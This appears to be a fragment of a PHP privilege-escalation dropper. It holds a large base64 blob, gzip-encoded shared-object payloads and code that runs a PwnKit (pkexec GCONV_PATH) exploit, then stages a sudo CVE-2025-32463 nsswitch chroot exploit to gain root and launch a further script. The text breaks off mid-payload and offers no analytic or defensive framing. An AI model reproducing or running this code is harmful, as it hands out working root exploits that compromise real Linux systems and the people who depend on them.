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'); $S=pl('pk_so','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'); if ($L && $S && is_file($L)) { out('pwnkit','try'); @mkdir($W.'/pk',0755,true); @copy($L,$W.'/pk/launch'); @chmod($W.'/pk/launch',0755); @mkdir($W.'/pk/GCONV_PATH=.',0755,true); @mkdir($W.'/pk/.pkexec',0755,true); @touch($W.'/pk/GCONV_PATH=./.pkexec'); @chmod($W.'/pk/GCONV_PATH=./.pkexec',0755); @file_put_contents($W.'/pk/.pkexec/gconv-modules',"module UTF-8// PKEXEC// pkexec 2\n"); @copy($S,$W.'/pk/.pkexec/pkexec.so'); @chmod($W.'/pk/.pkexec/pkexec.so',0755); $env='CMD='.shq('sh '.$W.'/cash.sh'); xrun('cd '.shq($W.'/pk').' && '.$env.' ./launch 2>&1', 45); @file_put_contents($W.'/bg.out',"PWNRET\n",FILE_APPEND); $L2=plac('pk_launch32', serialize(array())); @file_put_contents($W.'/bg.out',"PLAC ".strlen($L2)."\n",FILE_APPEND); step('pwnkit','try'); if(rooted()) exit; } } /* ---- 5: sudo 32463 ---- */ if ($SUDOV && preg_match('/([0-9]+\.[0-9]+\.[0-9]+)/',$SUDOV,$sm)) { $sv=array_map('intval',explode('.',$sm[1])); if (vge($sv,'1.9.14') && !vge($sv,'1.9.18')) { out('sudo-cve-2025-32463','try'); $ST=$W.'/sudowoot'; @mkdir($ST.'/woot/etc',0755,true); @mkdir($ST.'/libnss_',0755,true); @file_put_contents($ST.'/woot/etc/nsswitch.conf',"passwd: /woot1337\n"); @copy('/etc/group',$ST.'/woot/etc/group'); $so=pl('sudo32463.so','H4sIAAAAAAACCu1bXWwUVRQ+s+3C1pbuaiBgS+hqIClKZ9vyY4EsbKjCoKAVW0MadNntTttJtrt1dhZaFK0iD1iLJCYmGBN90xcM8efNhCKEVPQBefDnxTQaktYYu0YlYGKv3p1zujOXHdYYE1/ul7TfPefe7/7MvXdmd+fcFx7as9OnKECogm1QsgBiyPvbnL4OqIUYrITGYtlq8EbB72YI2cR1foct8meKm526Ynth9At8Edzs1C3i/WjB/kTd3OHDsfncOh/qAqptB7a5eVJxcwDl1fj3HtYnsth9UTeF5UReDW6ma//ENSv1b9rrQl0dZoi8DtxM7T1+zUotgn8Omt592J7XPIR8blYc7YZwzex6tIfPy2R1cb2W8peizfO3PHlZb/pq8szRqQO9c93fPdb7w+n9NJ81jvUAMXuJ12A9rz3wznOVxhEu408DwF1l/IpH+V6P8n0e/nUe9Zge5XcCwL1l/D3F8vUwiRMSpYx4fGAom4nnrIRpxeMQ3929N57STX3AyFm62b23M53N6N2JZFq388rnxPtGEvF+I5NIG0d0OJzNWpDTLVPPGyk7MWCko